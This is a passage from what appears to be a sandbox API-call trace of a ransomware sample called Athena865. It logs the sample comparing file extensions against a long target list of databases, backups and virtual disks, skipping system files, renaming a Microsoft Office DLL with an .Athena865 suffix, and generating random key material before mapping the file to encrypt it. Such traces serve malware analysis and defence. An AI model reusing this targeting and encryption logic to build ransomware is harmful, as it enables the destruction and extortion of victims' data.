[0081.170] lstrlenW (lpString="nyf") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0081.170] lstrlenW (lpString="odb") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0081.170] lstrlenW (lpString="odb") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0081.170] lstrlenW (lpString="oqy") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0081.170] lstrlenW (lpString="ora") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0081.170] lstrlenW (lpString="orx") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0081.170] lstrlenW (lpString="owc") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0081.170] lstrlenW (lpString="p96") returned 3 [0081.170] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0081.171] lstrlenW (lpString="p97") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0081.171] lstrlenW (lpString="pan") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0081.171] lstrlenW (lpString="pdb") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0081.171] lstrlenW (lpString="pdm") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0081.171] lstrlenW (lpString="pnz") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0081.171] lstrlenW (lpString="qry") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0081.171] lstrlenW (lpString="qvd") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0081.171] lstrlenW (lpString="rbf") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0081.171] lstrlenW (lpString="rctd") returned 4 [0081.171] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0081.171] lstrlenW (lpString="rod") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0081.171] lstrlenW (lpString="rodx") returned 4 [0081.171] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0081.171] lstrlenW (lpString="rpd") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0081.171] lstrlenW (lpString="rsd") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0081.171] lstrlenW (lpString="sas7bdat") returned 8 [0081.171] lstrcmpiW (lpString1="XP32.DLL", lpString2="sas7bdat") returned 1 [0081.171] lstrlenW (lpString="sbf") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0081.171] lstrlenW (lpString="scx") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0081.171] lstrlenW (lpString="sdb") returned 3 [0081.171] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0081.172] lstrlenW (lpString="sdc") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0081.172] lstrlenW (lpString="sdf") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0081.172] lstrlenW (lpString="sis") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0081.172] lstrlenW (lpString="spq") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0081.172] lstrlenW (lpString="te") returned 2 [0081.172] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0081.172] lstrlenW (lpString="teacher") returned 7 [0081.172] lstrcmpiW (lpString1="P32.DLL", lpString2="teacher") returned -1 [0081.172] lstrlenW (lpString="tmd") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0081.172] lstrlenW (lpString="tps") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0081.172] lstrlenW (lpString="trc") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0081.172] lstrlenW (lpString="trc") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0081.172] lstrlenW (lpString="trm") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0081.172] lstrlenW (lpString="udb") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0081.172] lstrlenW (lpString="udl") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0081.172] lstrlenW (lpString="usr") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0081.172] lstrlenW (lpString="v12") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0081.172] lstrlenW (lpString="vis") returned 3 [0081.172] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0081.172] lstrlenW (lpString="vpd") returned 3 [0081.173] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0081.173] lstrlenW (lpString="vvv") returned 3 [0081.173] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0081.173] lstrlenW (lpString="wdb") returned 3 [0081.173] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0081.173] lstrlenW (lpString="wmdb") returned 4 [0081.173] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0081.173] lstrlenW (lpString="wrk") returned 3 [0081.173] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0081.173] lstrlenW (lpString="xdb") returned 3 [0081.173] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0081.173] lstrlenW (lpString="xld") returned 3 [0081.173] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0081.173] lstrlenW (lpString="xmlff") returned 5 [0081.173] lstrcmpiW (lpString1="2.DLL", lpString2="xmlff") returned -1 [0081.173] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL.Athena865") returned 64 [0081.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\omsxp32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\omsxp32.dll.athena865"), dwFlags=0x1) returned 1 [0081.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OMSXP32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\omsxp32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0081.177] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=368016) returned 1 [0081.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0081.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0081.177] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0081.177] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0081.178] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0081.178] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.178] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a090, lpName=0x0) returned 0x17c [0081.180] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a090) returned 0x2d50000 [0081.242] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0081.243] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0081.243] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0081.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0081.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0081.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0081.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0081.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0081.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0081.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0081.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0081.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0081.244] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0081.247] CloseHandle (hObject=0x17c) returned 1 [0081.247] CloseHandle (hObject=0x154) returned 1 [0081.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0081.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0081.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0081.249] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xc4390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONBttnIE.dll", cAlternateFileName="")) returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="..") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="windows") returned -1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="bootmgr") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="temp") returned -1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="pagefile.sys") returned -1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="boot") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="ids.txt") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="ntuser.dat") returned 1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="perflogs") returned -1 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2="MSBuild") returned 1 [0081.249] lstrlenW (lpString="ONBttnIE.dll") returned 12 [0081.249] lstrcpyW (in: lpString1=0x241e89e, lpString2="ONBttnIE.dll" | out: lpString1="ONBttnIE.dll") returned="ONBttnIE.dll" [0081.249] lstrlenW (lpString="ONBttnIE.dll") returned 12 [0081.249] lstrlenW (lpString="Athena865") returned 9 [0081.249] lstrcmpiW (lpString1="ttnIE.dll", lpString2="Athena865") returned 1 [0081.249] lstrlenW (lpString=".dll") returned 4 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".dll") returned 1 [0081.249] lstrlenW (lpString=".lnk") returned 4 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".lnk") returned 1 [0081.249] lstrlenW (lpString=".ini") returned 4 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".ini") returned 1 [0081.249] lstrlenW (lpString=".sys") returned 4 [0081.249] lstrcmpiW (lpString1="ONBttnIE.dll", lpString2=".sys") returned 1 [0081.249] lstrlenW (lpString="ONBttnIE.dll") returned 12 [0081.249] lstrlenW (lpString="bak") returned 3 [0081.249] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0081.249] lstrlenW (lpString="ba_") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0081.250] lstrlenW (lpString="dbb") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0081.250] lstrlenW (lpString="vmdk") returned 4 [0081.250] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0081.250] lstrlenW (lpString="rar") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0081.250] lstrlenW (lpString="zip") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0081.250] lstrlenW (lpString="tgz") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0081.250] lstrlenW (lpString="vbox") returned 4 [0081.250] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0081.250] lstrlenW (lpString="vdi") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0081.250] lstrlenW (lpString="vhd") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0081.250] lstrlenW (lpString="vhdx") returned 4 [0081.250] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0081.250] lstrlenW (lpString="avhd") returned 4 [0081.250] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0081.250] lstrlenW (lpString="db") returned 2 [0081.250] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0081.250] lstrlenW (lpString="db2") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0081.250] lstrlenW (lpString="db3") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0081.250] lstrlenW (lpString="dbf") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0081.250] lstrlenW (lpString="mdf") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0081.250] lstrlenW (lpString="mdb") returned 3 [0081.250] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0081.250] lstrlenW (lpString="sql") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0081.251] lstrlenW (lpString="sqlite") returned 6 [0081.251] lstrcmpiW (lpString1="IE.dll", lpString2="sqlite") returned -1 [0081.251] lstrlenW (lpString="sqlite3") returned 7 [0081.251] lstrcmpiW (lpString1="nIE.dll", lpString2="sqlite3") returned -1 [0081.251] lstrlenW (lpString="sqlitedb") returned 8 [0081.251] lstrcmpiW (lpString1="tnIE.dll", lpString2="sqlitedb") returned 1 [0081.251] lstrlenW (lpString="xml") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0081.251] lstrlenW (lpString="$er") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0081.251] lstrlenW (lpString="4dd") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0081.251] lstrlenW (lpString="4dl") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0081.251] lstrlenW (lpString="^^^") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0081.251] lstrlenW (lpString="abs") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0081.251] lstrlenW (lpString="abx") returned 3 [0081.251] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0081.251] lstrlenW (lpString="accdb") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accdb") returned 1 [0081.251] lstrlenW (lpString="accdc") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accdc") returned 1 [0081.251] lstrlenW (lpString="accde") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accde") returned 1 [0081.251] lstrlenW (lpString="accdr") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accdr") returned 1 [0081.251] lstrlenW (lpString="accdt") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accdt") returned 1 [0081.251] lstrlenW (lpString="accdw") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accdw") returned 1 [0081.251] lstrlenW (lpString="accft") returned 5 [0081.251] lstrcmpiW (lpString1="E.dll", lpString2="accft") returned 1 [0081.252] lstrlenW (lpString="adb") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0081.252] lstrlenW (lpString="adb") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0081.252] lstrlenW (lpString="ade") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0081.252] lstrlenW (lpString="adf") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0081.252] lstrlenW (lpString="adn") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0081.252] lstrlenW (lpString="adp") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0081.252] lstrlenW (lpString="alf") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0081.252] lstrlenW (lpString="ask") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0081.252] lstrlenW (lpString="btr") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0081.252] lstrlenW (lpString="cat") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0081.252] lstrlenW (lpString="cdb") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0081.252] lstrlenW (lpString="ckp") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0081.252] lstrlenW (lpString="cma") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0081.252] lstrlenW (lpString="cpd") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0081.252] lstrlenW (lpString="dacpac") returned 6 [0081.252] lstrcmpiW (lpString1="IE.dll", lpString2="dacpac") returned 1 [0081.252] lstrlenW (lpString="dad") returned 3 [0081.252] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0081.252] lstrlenW (lpString="dadiagrams") returned 10 [0081.252] lstrcmpiW (lpString1="BttnIE.dll", lpString2="dadiagrams") returned -1 [0081.252] lstrlenW (lpString="daschema") returned 8 [0081.253] lstrcmpiW (lpString1="tnIE.dll", lpString2="daschema") returned 1 [0081.253] lstrlenW (lpString="db-journal") returned 10 [0081.253] lstrcmpiW (lpString1="BttnIE.dll", lpString2="db-journal") returned -1 [0081.253] lstrlenW (lpString="db-shm") returned 6 [0081.253] lstrcmpiW (lpString1="IE.dll", lpString2="db-shm") returned 1 [0081.253] lstrlenW (lpString="db-wal") returned 6 [0081.253] lstrcmpiW (lpString1="IE.dll", lpString2="db-wal") returned 1 [0081.253] lstrlenW (lpString="dbc") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0081.253] lstrlenW (lpString="dbs") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0081.253] lstrlenW (lpString="dbt") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0081.253] lstrlenW (lpString="dbv") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0081.253] lstrlenW (lpString="dbx") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0081.253] lstrlenW (lpString="dcb") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0081.253] lstrlenW (lpString="dct") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0081.253] lstrlenW (lpString="dcx") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0081.253] lstrlenW (lpString="ddl") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0081.253] lstrlenW (lpString="dlis") returned 4 [0081.253] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0081.253] lstrlenW (lpString="dp1") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0081.253] lstrlenW (lpString="dqy") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0081.253] lstrlenW (lpString="dsk") returned 3 [0081.253] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0081.253] lstrlenW (lpString="dsn") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0081.254] lstrlenW (lpString="dtsx") returned 4 [0081.254] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0081.254] lstrlenW (lpString="dxl") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0081.254] lstrlenW (lpString="eco") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0081.254] lstrlenW (lpString="ecx") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0081.254] lstrlenW (lpString="edb") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0081.254] lstrlenW (lpString="epim") returned 4 [0081.254] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0081.254] lstrlenW (lpString="fcd") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0081.254] lstrlenW (lpString="fdb") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0081.254] lstrlenW (lpString="fic") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0081.254] lstrlenW (lpString="flexolibrary") returned 12 [0081.254] lstrlenW (lpString="fm5") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0081.254] lstrlenW (lpString="fmp") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0081.254] lstrlenW (lpString="fmp12") returned 5 [0081.254] lstrcmpiW (lpString1="E.dll", lpString2="fmp12") returned -1 [0081.254] lstrlenW (lpString="fmpsl") returned 5 [0081.254] lstrcmpiW (lpString1="E.dll", lpString2="fmpsl") returned -1 [0081.254] lstrlenW (lpString="fol") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0081.254] lstrlenW (lpString="fp3") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0081.254] lstrlenW (lpString="fp4") returned 3 [0081.254] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0081.255] lstrlenW (lpString="fp5") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0081.255] lstrlenW (lpString="fp7") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0081.255] lstrlenW (lpString="fpt") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0081.255] lstrlenW (lpString="frm") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0081.255] lstrlenW (lpString="gdb") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0081.255] lstrlenW (lpString="gdb") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0081.255] lstrlenW (lpString="grdb") returned 4 [0081.255] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0081.255] lstrlenW (lpString="gwi") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0081.255] lstrlenW (lpString="hdb") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0081.255] lstrlenW (lpString="his") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0081.255] lstrlenW (lpString="ib") returned 2 [0081.255] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0081.255] lstrlenW (lpString="idb") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0081.255] lstrlenW (lpString="ihx") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0081.255] lstrlenW (lpString="itdb") returned 4 [0081.255] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0081.255] lstrlenW (lpString="itw") returned 3 [0081.255] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0081.255] lstrlenW (lpString="jet") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0081.256] lstrlenW (lpString="jtx") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0081.256] lstrlenW (lpString="kdb") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0081.256] lstrlenW (lpString="kexi") returned 4 [0081.256] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0081.256] lstrlenW (lpString="kexic") returned 5 [0081.256] lstrcmpiW (lpString1="E.dll", lpString2="kexic") returned -1 [0081.256] lstrlenW (lpString="kexis") returned 5 [0081.256] lstrcmpiW (lpString1="E.dll", lpString2="kexis") returned -1 [0081.256] lstrlenW (lpString="lgc") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0081.256] lstrlenW (lpString="lwx") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0081.256] lstrlenW (lpString="maf") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0081.256] lstrlenW (lpString="maq") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0081.256] lstrlenW (lpString="mar") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0081.256] lstrlenW (lpString="marshal") returned 7 [0081.256] lstrcmpiW (lpString1="nIE.dll", lpString2="marshal") returned 1 [0081.256] lstrlenW (lpString="mas") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0081.256] lstrlenW (lpString="mav") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0081.256] lstrlenW (lpString="maw") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0081.256] lstrlenW (lpString="mdbhtml") returned 7 [0081.256] lstrcmpiW (lpString1="nIE.dll", lpString2="mdbhtml") returned 1 [0081.256] lstrlenW (lpString="mdn") returned 3 [0081.256] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0081.257] lstrlenW (lpString="mdt") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0081.257] lstrlenW (lpString="mfd") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0081.257] lstrlenW (lpString="mpd") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0081.257] lstrlenW (lpString="mrg") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0081.257] lstrlenW (lpString="mud") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0081.257] lstrlenW (lpString="mwb") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0081.257] lstrlenW (lpString="myd") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0081.257] lstrlenW (lpString="ndf") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0081.257] lstrlenW (lpString="nnt") returned 3 [0081.257] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0081.257] lstrlenW (lpString="nrmlib") returned 6 [0081.257] lstrcmpiW (lpString1="IE.dll", 